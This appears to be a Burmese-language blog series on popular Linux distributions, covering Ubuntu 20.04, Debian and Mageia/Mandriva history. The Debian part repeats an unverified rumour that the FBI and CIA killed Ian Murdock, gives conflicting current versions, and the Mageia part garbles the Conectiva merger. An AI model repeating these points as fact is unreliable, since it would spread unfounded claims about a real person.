စက်ပေါ်မှာတော့ တင်ပြီးတော့ မသုံးဖြစ်သေးပါဘူး။ အနည်းငယ်စောင့်ကြည့်ရအုံးမယ်တော့ ထင်ပါတယ်။ Ubuntu 18.04 မှာ အသုံးပြုတဲ့ အချို့သော software လေးတွေကိုဟာ Ubuntu 20.04 အတွက် binary compatible ဖြစ်ဖို့တော့ လအနည်းငယ်စောင့်ရအုံးမယ်ထင်ပါတယ်။ အကယ်လို့များ စာဖတ်တဲ့သူအတွက်တော့ ထွေးထွေးထူးထူး သုံးတဲ့ software တွေ၊ application တွေ မရှိဘူးဆိုရင်တော့ Ubuntu 20.04 လုပ်ဖို့ရာ အဆင်ပြေနိုင်ပါတယ်။ နောက်ပြီးတော့… ကိုယ်က dark theme ကိုကြိုက်တယ်ဆိုရင် သတင်းကောင်းတစ်ခုက Ubuntu 20.04 မှာ built-in ပါလာပြီးသားပါ။ GNOME Tweak ကို ထပ် install လုပ်ပြီးတော့ ပြင်ဆင်စရာမလိုတော့ပါဘူး။ ကြီးကြီးမားမား ပြောင်းသွားတဲ့ နောက်အရာတခုကတော့ Focal Fossa ဟာ Linux kernel 5.4 နဲ့ လာပါတယ်။ အဲ့ဒီတော့ Linux kernel 5.4 ရဲ့ ကောင်းမွေဆိုးမွေကို အကုန်ခံစားနိုင်မှာဖြစ်ပါတယ်။ သိသာတဲ့ ကောင်းမွေတစ်ခုကတော့ Linus Torvalds ပြောပြောနေတဲ့ Wireguard ကို backport လုပ်လာတာပဲဖြစ်ပါတယ်။ ဒီအတွက် Wireguard ရဲ့ stability နဲ့ security ပိုင်းမှာတော့ ဒီထက်ပိုပြီးတော့ ကောင်းလာဖို့ပဲရှိပါတယ်။ စာရေးသူကိုယ်တိုင်က Wireguard fan တစ်ယောက်ပါ။ နေ့တိုင်းအသုံးပြုဖြစ်တဲ့ tool တစ်ခုပါ။ နောက်တစ်ခုက… snap ကို universal packaging format နဲ့ အသုံးပြုပါတယ်။ Ubuntu Software မှာပါ application တွေကို install လုပ်တဲ့အခါ snap ကို backend မှာ အသုံးပြုထားပါတယ်။ ဒီလိုဆိုရင်တော့ snap ဟာ ပိုပြီးတော့ ကောင်းသတဲ့ကောင်းလာဖို့ပဲရှိပါတယ်။ အနာဂတ်အတွက် snap လာ၊ flatpak လာဆိုတော့ ဒါကိုကြည့်ခြင်းအားဖြင့် ရေးရေးလေးတော့ မြင်နိုင်ပါတယ်။ ZFS file system မှာလည်း အရင်ထက်စာရင် support ပိုကောင်းလာတဲ့လို့ ဆိုပါတယ်။ ZFS Experimental ဆိုတာကိုတော့ install လုပ်တဲ့အခါမှာ အခုအချိန်ထိတော့ တွေ့နေရတုန်းပါ။ နောက် version နှစ်ခုသုံးခုလောက်ဆိုရင်တော့ ZFS ကို တရားဝင် stable အနေနဲ့ အသုံးပြုလို့ ရလောက်ပြီတော့ ထင်ပါတယ်။ ZFS အကြောင်းကိုတော့ နောက်မှ File system အကြောင်းတွေရေးတဲ့အခါမှာ ထည့်သွင်းဖော်ပြလိုပါတယ်။ Ubuntu 20.04 LTS Focal Fossa ကိုတော့ ဒီ [link](https://releases.ubuntu.com/20.04/) မှာကိုယ်တိုင် ကိုယ်ကျ download ဆွဲပြီးတော့ အသုံးပြုနိုင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-12cb2a51ef3fed4bf3358d14369eab0281336d0e%2FUbuntu-20.04-LTS-Login-1-768x381.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9bd11bd8c68714d88aaa3ef2fddda51caff26b5c%2FUbuntu-20.04-LTS-Desktop-1-768x382.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-1c51aeae05369a3533d77d25a959fd5a63f6adf3%2FUbuntu-20.04-LTS-Dark-Theme-1-768x382.png?alt=media" alt=""><figcaption></figcaption></figure>


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၃)

## **၃. Debian**

Debian ကိုတော့ ၁၉၉၃ ခုနှစ်မှာ Ian Murdock ဆိုတဲ့ Software Engineer တစ်ယောက်က စတင်မိတ်ဆက် ပေးခဲ့ပါတယ်။ ၁၉၉၃ ခုနှစ်ဆိုတော့ Linux အတွက် အရမ်းစောလွန်း ရှေ့ရောက်လွန်း တယ်လို့ပြောရမှာဖြစ်ပါတယ်။ Debian က Linux kernel ကိုသုံးပြီးရေးတဲ့ OS ထဲမှာ အစောဆုံးထဲကတစ်ခု ဖြစ်ပါတယ်။ အစပိုင်းမှာ Debian project ကို စီးပွားဖြစ်လုပ်ဖို့လုံးဝ စိတ်မကူးထားပါဘူး။ ဝါသနာပါလို့ စိတ်တူကိုယ်တူတွေစု ပြီး လုပ်လိုက်ကြတဲ့ project ဖြစ်တဲ့ အတွက် အခုလက်ရှိလောက်ထိ အောင်မြင်လာ လိမ့်မယ်လို့လည်း Debian team က မှန်းထားကြ ပုံမရပါဘူး။ အခုလက်ရှိ Linux ကမ္ဘာမှာတော့ Debian က အရှေ့ အပိုင်းမှာပြော ပြခဲ့တဲ့ Ubuntu တို့ Linux Mint တို့ရဲ့ ဘိုးအေ upstream distro သွားဖြစ်နေပါတယ်။ ဘာလို့လဲဆိုတော့ Ubuntu က Debian ကနေ ဆင်းသက် လာတဲ့ distro တစ်ခုဖြစ်နေလို့ပါ။

Debian ဆိုတာကတော့ အင်္ဂလိပ်လို ဘာလိုမှ အဓိပ္ပာယ်ပြန်လို့မရပါဘူး။ Ian Murdock က Debian project ကိုစတုန်းက သူ့မှာ အရမ်းကို ချစ်ရတဲ့ ချစ်သူကောင်မလေး တစ်ယောက်ရှိခဲ့ပါတယ်။ အဲ့ဒီကောင်မလေး နာမည်ကတော့ Debra Lynn လို့ခေါ်ပါတယ်။ သူက သူ့ကောင်မလေး နာမည် Debra က Deb နဲ့သူ့နာမည် Ian ကိုပေါင်းပြီးတော့ Debian ဆိုပြီး project ကိုနာမည်ပေးခဲ့ပါတယ်။ နောက်ပိုင်း မှာလည်း သူအဲ့ဒီ ကောင်မလေး နဲ့ပဲလက်ထက် ပြီးတော့ ကလေးသုံးယောက်ရသည့် တိုင်အောင် အိမ်ထောင် မြဲခဲ့တယ်။ ၂၀၀၈ ခုနှစ်မှာတော့ အကြောင်းမတိုက်ဆိုင်လို့ အိမ်ထောင်ပြတ်ခဲ့ပါတယ်။ Ian Murdock ကို Internet Activist တစ်ယောက် အနေနဲ့လည်း စာရေးသူသိထားပါတယ်။ Anonymous လို Internet Activist group တွေနဲ့ပတ်သတ် ခဲ့တယ်လို့လူပြောများပါတယ်။ သူဟာ အကျင့်ပျက် ချစားနေတဲ့ အမေရိကန် အစိုးရနဲ့အစိုးရ အဖွဲ့ဝင်တွေ အထူးသဖြင့် အမေရိကန် ရဲတပ်ဖွဲ့ကိုအထူး ပုတ်ခတ် တိုက်ခိုက်ခဲ့ပါတယ်။ သူဟာ လူကောင်းတစ်ယောက် ဖြစ်ခဲ့သော်လည်း ရဲတပ်ဖွဲ့ရဲ့ခြောက်လန့်ဖိနှိပ်မှု အောက်မှာ တော်တော်လေး ကြာအောင် နေခဲ့ရတယ်လို့လည်းသိရပါတယ်။ နောက်ဆုံးမှာ ကိုယ်တိုင် သေကြောင်း ကြံစည်ပြီး သေသွားခဲ့တယ်လို့ရဲတပ်ဖွဲ့ထုတ်ပြန်ပါတယ်။ သူကတော့ ၂၈ ရက် ဒီဇင်ဘာလ ၂၀၁၅ ခုနှစ်မှာ သေဆုံးသွားခဲ့ပါပြီ။ Anonymous ကတော့ Ian Murdock ကို FBI နဲ့ CIA ကလုပ်ကြံသတ်ဖြတ် ခဲ့တယ်လို့လည်းဆိုပါတယ်။ လူမသိ သူမသိ ကြွေလွင့်သွား ခဲ့ရတဲ့ နည်းပညာ လောကထဲက ကြွယ်တစ်ပွင့် အနေနဲ့သူ့ကိုအမှတ်ရနေ ရမှာပါ။ နောက်ပိုင်းမှာ အချိန်ရရင် နည်းပညာ လောကထဲက Internet Activist တွေ အကြောင်းကို post သက်သက်ရေး ပါ့မယ်။ အခုတော့ Debian အကြောင်းနည်းနည်း ပြန်ပြီးဆက်လိုက် ရအောင်နော်။

Debian ဟာ developer တွေ အားရင် အားသလို ဝင်ရေး ပြင်ရေး ရင်းနဲ့စခဲ့လို့ဘယ်သူကမှာ စနစ်တကျ ဦးစီးဦးဆောင်ပြီး မလုပ်ခဲ့လို့အခုလောက် ဖြစ်လာဖို့ကို ဘယ်သူကမှ မထင်ထားခဲ့ပါဘူး။ Microsoft တို့Apple တို့လို developer တွေ အားလုံး ပူးပေါင်းပြီး စနစ်တကျ ရေးထားတာမဟုတ်တဲ့ အတွက် အပျော်တမ်း ဝါသနာရှင် (Hobbyist) တွေ လက်သွေးကြတဲ့ project လည်းဖြစ်ပါတယ်။ တကယ်တမ်းမှာတော့ Debian ဟာ Open Source community အတွက် ဥပမာကောင်းတစ်ခုလို ဖြစ်လာပါတယ်။ ဆယ်စုနှစ်တစ်ခုကျော်ကျော် လောက်ကို Debian က ပြိုင်ဘက် မရှိလောက်အောင် အောင်ပွဲဆင်ခဲ့တာ အခုထိတောင် Server environment တွေမှာ နာမည် ရနေတုန်းဖြစ်တဲ့ distro လည်းဖြစ်ပါတယ်။ project သက်တမ်းကလည်း ရှည်ကြာလာတာနဲ့အမျှ developer တော်တော် များများလက်စွမ်း ဝင်ပြထားတွေကြောင့် package အများဆုံး application အပေါဆုံး distro တစ်ခု အနေနဲ့လည်း Debian ကရပ်တည်လျှက်ပါ။ နောက်ပြီး ပြဿနာနည်း သုံးရတာ stableဖြစ်တယ်လို့လည်း လူသိများပါတယ်။ Debian project ရဲ့ဒီမိုကရေစီ ဆန်းလွန်းမှု က developer တွေကို တခါတလေ တွေဝေစေပါတယ်။ တစ်နှစ်တခါ Debian project အတွက် Leader တစ်ယောက်ကိုမဲပေးတဲ့ စနစ်နဲ့ရွေးချယ်ပါတယ်။ အဲ့လို developer တွေကို လွတ်လပ်ခွင့်ပေးထားက အခုချိန်မှာတော့ Debian ရဲ့ကြံကမ္မာကို အနာဂတ်မှာ ခြိမ်းခြောက်နေသလို ဖြစ်နေပါတော့တယ်။ လက်ရှိထိတော့ Debian ကို Linux ကမ္ဘာကလူသုံးများနေဆဲပါ။ အခုလက်ရှိ Debian 8 – Jessie ကတော့ Gnome 3 desktop ကို နဂိုအတိုင်း သုံးထားပါတယ်။ Debian ကို install လုပ်တဲ့ အခါမှာ ကိုယ်ကြိုက်တဲ့ desktop environment တွေကို ရွေးချယ် လို့ရပါတယ်။ Debian ကို install လုပ်ရတာ Ubuntu တို့ Linux Mint တို့လောက်တော့ မလွယ်ပါဘူး။ Linux kernel ကိုရေး ဂုရုကြီး Linus Torvalds ကိုယ်တိုင် Linux Users Group forum တစ်ခုမှာ Debian ကို install လုပ်ရတာ အရမ်းခက်တာပဲ ရှုပ်လွန်းတယ်လို့တောင် ဖြေခဲ့ပါတယ်။ အဲ့ဒါကတော့ ဟိုအရင်တုန်းကပါ။ အခုတော့ နည်းနည်းလွယ်လာပါပြီ။ ဒါပေမယ့် Ubuntu တို့လောက်လည်း install လုပ်ရတာ ရှင်းလင်း မလွယ်ကူ နေပြန်ပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2FgueBgs9ZHHQBtI9NXuPY%2FDebian%2013%20Desktop.png?alt=media&amp;token=b3fa8e99-a837-4242-84b7-be56015faf62" alt=""><figcaption></figcaption></figure>

### **Debian ရဲ့အားသာချက်များ**

အသုံးပြုသူတွေ အတွက် stable ဖြစ်တဲ့ အပိုင်းမှာ နာမည်ရပြီးသား upstream distro ဖြစ်ပါတယ်။ Debian မှာ အသုံးပြုနိုင်တဲ့ software package ၃ သောင်းကျော်ရှိပါတယ်။ အခုဆိုရင်တော့ ဒီထက်မက များပါလိမ့်မယ်။ Ubuntu ရဲ့ software package နဲ့ယှဉ်လိုက်ရင် Ubuntu မှာ ၅ ထောင်ကျော် ၁ သောင်း ကြားလောက်ပဲရှိမယ်ထင်ပါတယ်။ ပြီးတော့ Debian က Ubuntu ရဲ့ ဘိုးအေကြီးပါ။ server environment တွေမှာတော့ Debian ရဲ့ စွမ်းဆောင်ရည်မြင့်မှုကြောင့် လက်ရှိ web server တွေက Debian ပေါ်မှာ run တာများပါတယ်။ CPU တော်တော် များများကို support လုပ်တဲ့နေရာမှာ Debian ကို ယှဉ်နိုင်တဲ့ distro မရှိသေးပါဘူး။ Linux ကို စတင် ပြီး စမ်းသပ် အသုံးပြုချင်သူတွေ အတွက်တော့ Ubuntu လောက် အဆင်ပြေမှာမဟုတ်သလို၊ တော်ရုံ application လေးတွေ install လုပ်ဖို့ဆိုတာတောင် ခေါင်းစားရပါတယ်။ စာရေးသူ ကိုယ်တိုင် install လုပ်ပြီး တစ်လလောက်တောင် မသုံးဖြစ်လိုက်ပါဘူး။ developer တွေကတော့ ကြိုက်မယ်လို့ထင်ပါတယ်။ သို့သော်... လက်ရှိမှာ တပင်တိုင်သုံးဖြစ်နေတဲ့ distro က Debian ဖြစ်နေပြန်ပါတယ်။

### **Debian နဲ့ဆင်တူ distro များ**

လူသိများ ကျော်ကြားလာတဲ့ Ubuntu၊ ပြီးတော့ SparkyLinux, SolydXK, KNOPPIX, Tanglu နဲ့ Siduction ဆိုပြီးတော့ ထွက်ကြပါတယ်။ နှစ်စဉ် Debian အောက်ကနေ distro အသစ်တွေ ထွက်ထွက်လာတာကြောင့် နောက်ပိုင်းမှာ ရွေးချယ်စရာပိုများ လာမှာလည်းဖြစ်ပါတယ်။

### **လက်ရှိ Debian Version နဲ့ Codename**

Debian ရဲ့ လက်ရှိ version ကတော့ Debian 13 – Trixie ဖြစ်ပါတယ်။ သူ့ကို ၉ ရက်နေ့ သြဂုတ်လ ၂၀၂၅ ခုနှစ် မှာ ထုတ်ခဲ့တာဖြစ်ပြီးတော့ အခုအချိန် ဒီစာရေးနေချိန်မှာတော့ Debian 13.6 ရောက်နေပါပြီ။ Debian ကပုံမှန်အားဖြင့် stable release တစ်ခုထုတ်ဖို့ကို ၁ နှစ်ကနေ ၃ နှစ်ထိကြာတတ်ပါတယ်။ Debian ကတော့ သူ့ distro release တွေရဲ့code-name တွေကို Pixar ရဲ့ Toy Story အမေရိကန် animated ကာတွန်းထဲက ဇာတ်ဆောင်တွေ နာမည်ကို ယူသုံးထားပါတယ်။ ဥပမာ Debian 7 ကို Wheezy ဆိုတဲ့ Toy Story ထဲက Penguin ဇာတ်ဆောင်လေးနာမည်ပေးထာပါတယ်။ လက်ရှိ Debian 13 ကိုတော့ Trixie ဆိုတဲ့ triceratops ဒိုင်နိုဆော ပလက်စတစ် အရုပ်လေးရဲ့ နာမည်ပေးထားပြီး နောက်ထွက်မဲ့ release ကိုတော့ Debian 14 - Forky ဆိုပြီး နာမည်ပေးဖို့လုပ်ထားပါတယ် တဲ့ဗျာ။

### **သိပ်သိပ်ချစ်ရတဲ့ Linux distro**

စာရေးသူ အစပိုင်းမှာ Debian ကို install လုပ်ရတာခက်တယ်လို့ထင်ခဲ့တာ အမှန်ပါ။ Ubuntu ရဲ့ official desktop ကို နေ့တိုင်းသုံးတဲ့ စက်ပေါ်မှာဆက်တိုက် သုံးဖြစ်ခဲ့ပါတယ်။ သို့သော်... တခါမှာတော့ အဆင်မပြေတာတခုကို ဖြေရှင်းဖို့ ကြိုးစားတာ အနည်းငယ်ကြာလာပါတယ်။ အဲ့ဒီအကြောင်းကို အလုပ်က လုပ်ဖော်ကိုင်ဖက် တယောက်နဲ့ နေ့လည်စာ စားရင်းပြောဖြစ်ခဲ့ပါတယ်။ လုပ်ဖော်ကိုင်ဖက်ကလည်း Linux ကို စသုံးကတည်းက Debian ကိုပဲသုံးလာတဲ့ ပုဂ္ဂိုလ်ဘဲကြီးပါ။ သူက အစကတည်း Debian ကိုမသုံးပဲနဲ့ downstream ဖြစ်တဲ့ Ubuntu ကိုသုံးလို့ အမြဲတမ်း နောက်ပြောင်ခံခဲ့ရပါတယ်။ နောက်ပိုင်းမှာတော့ အဲ့ဒီ ဘဲကြီးပြောတဲ့အတိုင်း Debian ကို main distro အနေနဲ့ လက်ရှိစက်ပေါ်မှာ စပြီးသုံးဖြစ်လာရကနေ၊ အခုဆိုရင် Debian ဟာ စာရေးသူရဲ့ အနှစ်သက်ဆုံး Linux distro တခုဖြစ်လာခဲ့ပါတယ်။ လုပ်ငန်းခွင်မှာ Red Hat Enterprise Linux (RHEL) တွေပဲသုံးရသလောက်၊ အိမ်ပြန်ရောက်ရင် Debian မှ Debian ပဲဖြစ်နေပြန်ပါပြီ။


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၄)

**၄. Mageia**

Mageia ဆိုတဲ့ project ကို ဇွန်လ ၂၀၁၁ခုနှစ်မှစတာပါ။ ပထမဆုံးထွက်ရှိလာတဲ့ version ကိုတော့ Mageia 1 လို့ခေါ်ပါတယ်။ ဒီ distro ကလူသိပ်မသိပေမယ့် DistroWatch ရဲ့ မှာ နံပါတ် ၄ နေရာမှာ ၂၀၁၆ ခုနှစ်ကုန်ပိုင်းမှာ ဖြစ်လာခဲ့ပါတယ်။ KDE ကို နဂိုအတိုင်း ထည့်ပေးထားတဲ့ distro တစ်ခုလည်းဖြစ်ပါတယ်။ Mageia အကြောင်းကိုပြောမယ်ဆိုရင် Mandriva အကြောင်းကိုချန်ထားခဲ့လို့ မဖြစ်သလို၊ Mandriva အကြောင်းကို ပြောမယ်ဆို Linux-Mandrake (သို့မဟုတ် Mandrake Linux) အကြောင်းကိုချန်ထားခဲ့လို့မဖြစ်ပါဘူး။ ဘာဖြစ်လို့လဲဆိုတော့ နာမည်တွေကအကြောင်းအမျိုးမျိုးကြောင့် အဆင့်ဆင့်ပြောင်းလဲလာခဲ့လို့ပါ။ Gaël Duval \*\*\*\*ဆိုတဲ့ ပြင်သစ်နိုင်ငံသား တစ်ယောက်က ဇူလိုင်လ ၁၉၉၈ခုနှစ်မှာ Mandrake Linux ဆိုတဲ့ distro ကို Red Hat Linux ပေါ်မှာ အခြေခံပြီးတော့ KDE ကို desktop environment သုံးထားတဲ့ project ကို စတင် ခဲ့ပါတယ်။ နောက်ပိုင်းမှာလည်း MandrakeSoft ရဲ့ ပူးတွဲတည်ထောင်သူတစ်ယောက်လည်းဖြစ်လာခဲ့ပါတယ်။ အဓိက ရည်ရွယ်ချက်ကတော့ install လုပ်ရတာလွယ်ကူပြီး သုံးစွဲသူအကြိုက်တွေ့စေမယ် distro ကို ရေးမယ်ဆိုပြီးတော့ Gaël Duval ကစခဲ့တာဖြစ်ပါတယ်။ အစပိုင်းမှာ Red Hat Linux ကိုအခြေခံခဲ့သော်လည်း နောက်ပိုင်းမှာ Red Hat ကနေပုံစံကွဲထွက်အောင် ကိုယ်ပိုင်ပုံစံဖြစ်အောင်လုပ်ခဲ့ပါတယ်။ စထွက်တဲ့ အချိန်တုန်းက Linux မှာ အဆင်မပြေတာလေးကို Mandrake Linux ကပုံစံ အမျိုးမျိုးနဲ့ အဆင်ပြေအောင်လုပ်ပေးခဲ့ပါတယ်။ အဲ့ဒါကြောင့် အခုချိန်ထိ Mandriva Control Center လို အဆင်ပြေပြေ သုံးလို့ရတဲ့ tool တွေကျန်နေရစ်ခဲ့ခြင်း သာဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-abfa17788a0f631097bae0dba6948606e981d139%2Fmandrake-linux-wiki-i11.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အဲ့ဒီ distro ကအနှစ်တစ်ရာ မမြဲလိုက်ပေမယ့် အမှုတစ်ရာရင်ဆိုင်လိုက်တဲ့အတွက် တော်တော်လေးကို ရုန်းကန်ပြီးတော့ နေခဲ့ရတဲ့ distro တစ်ခုဖြစ်ပါတယ်။ စထွက်ခြင်းမှာ အဆင်ပြေလွန်းလို့လူကြိုက်များ ကျော်ကြားခဲ့ပါတယ်။ လှပတဲ့ KDE နဲ့ လွယ်ကူစွာ အသုံးပြုလို့ရတဲ့ tool တွေကြောင့်တော်တော်လေးလည်းနာမည်ရခဲ့တဲ့ distro ပါ။ ပြဿနာစဖြစ်ပုံကတော့ distro ပေါ်ပြီးတော်တော်လေးနာမည်ရလာမှ သူ့ရဲ့ distro နာမည်ဖြစ်တဲ့ Mandrake ဆိုတဲ့ဟာကို ဖေဖဝါရီလ ၂၀၀၄ ခုနှစ်မှာ Hearst Corporation ဆိုတဲ့ကုမ္ပဏီကြီးကနေပြီးတော့ သူကုမ္ပဏီက trademark လုပ်တဲ့ ကာတွန်းထဲက သူရုပ်ကောင်နာမည်နဲ့တူလို့ဆိုပြီးတရားဆွဲတာပါ။ ထုံးစံတိုင်း ငွေများ တရားနိုင်ခဲ့လို့ Gaël Duval တို့Mandrake Linux အဖွဲ့ရှုံးခဲ့ကြပါတယ်။ အဲ့ဒါကြောင့် သူတို့ရဲ့ brand name ကို mandrakeLinux လို့တခါ နောက် Linux-Mandrake လို့ တခါနာမည်ပြောင်းလိုက်ရတဲ့အတွက် သူတို့ကုမ္ပဏီအတွက်တော်တော်လေး နစ်နာခဲ့ရပါတယ်။ ကုမ္ပဏီ ပြုတ်မတတ်ဖြစ်ခဲ့ရလို့တခြားကုမ္ပဏီတစ်ခုဆီကို ရောင်းလိုက်ရပါတော့တယ်။ အဲ့ဒီဝယ်လိုက်တဲ့ ကုမ္ပဏီနာမည်က Conectiva ဖြစ်ပါတယ်။ အဲ့ဒါကြောင့်လည်း သူနာမည် Mandriva ဆိုပြီးတခါဖြစ်ရပြန်ပါတယ်။ ကုမ္ပဏီ အသစ်မှာတော့ Gaël Duval တစ်ယောက် Conectiva က အထက်တန်း အရာရှိတွေနဲ့သဘောထားမတိုက်ဆိုင်လို့ကုမ္ပဏီကနေ သူ့ကို မတ်လ ၂၀၀၆ခုနှစ်မှာထုတ်ပယ်လိုက်ပါတော့တယ်။ Gaël Duval ဘက်ကလည်း သူ့စတင်ခဲ့တဲ့ distro နဲ့ သူ့ကို အလုပ်ပြန်ထုတ်တယ်ဆိုတော့ မကျေနပ်လို့ကုမ္ပဏီကို တရားပြန်ဆွဲပါတယ်။ တော်တော်လေးကို အမှုများခဲ့တဲ့ distro တစ်ခုဖြစ်ပါတယ်။ ဒါပေမယ့် Mandrake နဲ့ Mandriva ရဲ့အောင်မြင်မူကြောင့် Red Hat တို့လိုစီးပွားဖြစ် edition တွေလည်းထွက်ခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-d0cebe3ab83cbd3dcadc2af43abdc189bfcb8fa2%2FMandrakeoct301938.jpg?alt=media" alt=""><figcaption></figcaption></figure>

၂၀၀၇ ကနေ ၂၀၁၁ ထိ Mandriva ကနေပြီး ၆လတခါ Ubuntu တို့Fedora တို့လို upgrade ထွက်ပါတယ်။ စိတ်မကောင်း စရာအဖြစ်ကတော့ ၁၇ရက်နေ့ စက်တင်ဘာလ ၂၀၁၀ခုနှစ်မှာတော့ Mandriva ကိုနောက်ဆုံးဝယ်ယူထားတဲ့ ကုမ္ပဏီက အရှုံးခံကာ ဝန်ထမ်းအားလုံးနဲ့developer တွေကိုပါအလုပ်ဖြုတ်လိုက်ရပါတယ်။ နောက်တနေ့ ၁၈ရက်နေ့ စက်တက်ဘာလ ၂၀၁၀ခုနှစ်မှာတော့ Mandriva အဓိကတာဝန်ယူခဲ့ကြတဲ့ developer တချို့နဲ့Mandriva ရဲ့ community အဖွဲ့ဝင်တွေကတော့ Mageia project ကို community edition အနေနဲ့ ဆက်လက် maintain လုပ်သွားမယ်လို့ကြေငြာလိုက်ပါတယ်။ တော်တော်လေးကို ဗြောင်းဆန်ခဲ့ရတဲ့ distro တစ်ခုဖြစ်ပါတယ်။ သို့ပေမယ်လည်း community နဲ့ အသုံးပြုသူတွေ အနေနဲ့ တော်တော်လေးကိုဆက်လက် support လုပ်ခဲ့ကြလို့ ၂၀၁၆ မှာနံပါတ် ၄ နေရာမှာရပ်တည်နေတာလည်းဖြစ်ကောင်းဖြစ်လိမ့်မယ်လို့စာရေးသူ ထင်မိပါတယ်။ စာရေးသူကိုယ်တိုင်လည်း အဆန်းသဘောမျိုး တစ်ခါသာ install လုပ်ပြီး သဘောလောက်သာ အသုံးပြုခဲ့တဲ့အတွက် အတွင်းကျကျတော့ မသိပါဘူး။ သို့သော်လည်း install လုပ်တဲ့ အခါမှာ Red Hat ကဆင်းသက်လာတဲ့ Fedora တို့ CentOS တို့နဲ့တော်တော်လေးတူပါတယ်။ Install လုပ်ပြီးတော့လည်း Mageia ရဲ့ desktop environment အတွေ့ အကြုံကတော့ KDE တို့ထုံးစံအတိုင်းလှပြီးတော့ နည်းနည်းတော့ heavy ဖြစ်နေသလို တော့ဖြစ်ပါတယ်။ စာရေးသူကိုယ်တိုင်ကိုက KDE ကို မကြိုက်တာလည်းပါပါတယ်။ KDE က Gnome လောက် ရှင်းပြီးတော့ ပေါ့ပေါ့ပါးပါး မရှိတာတော့ Linux အသုံးပြုသူတွေတော်တော်များသိပါတယ်။ ကိုယ့်အကြိုက်နဲ့ကိုယ်တော့ ရှိတာပေါ့လေ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2499ce424f7ccd4375b84b4187dc918acd221d52%2Fmageia-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

**Mageia အားသာချက်များ**

စထုတ်ကတည်းက အသုံးပြုသူတွေလွယ်ကူစွာ အသုံးပြုနိုင်အောင်ထုတ်ထားတဲ့ distro ဖြစ်တဲ့အတွက် install လုပ်ရတာ application တွေ install လုပ်ရတာ သိပ်အခက်အခဲရှိမှာမဟုတ်ပါဘူး။ Configuration လုပ်ဖို့လည်း tool တွေ utility တွေကောင်းကောင်းရှိပါတယ်။ ဘာသာစကားတော်တော်များများကို ထပ်ပြီးသွင်းစရာမလိုပဲ နဂိုအတိုင်းပါလာတဲ့အတွက် install လုပ်ပြီးတာနဲ့စပြီးအသုံးပြုလို့ရပါတယ်။ Red Hat ရဲ့ flavor ကိုလည်းကြိုက် RPM နဲ့လည်းမစိမ်း KDE မှ KDE ဆိုတဲ့သူတွေကတော့ Mageia ကို စမ်းပြီးအသုံးပြုသင့်ပါတယ်။ လွယ်ကူတဲ့အတွက် အသုံးပြုသူတွေ ကြိုက်မှာတော့ သေချာပါတယ်။

**Mageia နဲ့ဆင်တူ distro များ**

OpenMandriva ဆိုတဲ့ Mandriva ရှိတုန်းက အခမဲ့ပေးတဲ့ distro နဲ့ Russia မှာစခဲ့တဲ့ ROSA လို့ခေါ်တဲ့ distro တွေရှိပါတယ်။

**လက်ရှိ Mageia version နဲ့ release cycle**

အခုဒီစာရေးနေတဲ့အချိန်မှာ Mageia က 5.1 ပါ။ Mageia ကတော့ ၉လကိုမှာတခါ version အသစ် release လုပ်ပါတယ်။ နာမည်ရပြီးသား Linux distro တွေကတော့ များသောအားဖြင့် ၆လတခါထွက်ပါတယ်။ Mageia က version တစ်ခုကို ၁၈လထိပဲ support ပေးပါတယ်။ အောက်မှာတော့ Mageia ရဲ့ ထွက်တဲ့နေ့ support term နဲ့ kernel version အကျဉ်းချုပ်ဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-07638ad4bc059adb319987ad567f5793bce67311%2FScreenshot-from-2016-12-22-00-46-14-768x358.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-28d665816e654ab05a936e816955a77adf0a1bde%2Fef52510a9d55d0e45afeb8435bd2d2fa.png?alt=media" alt=""><figcaption></figcaption></figure>


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၅)

**၅. Fedora**

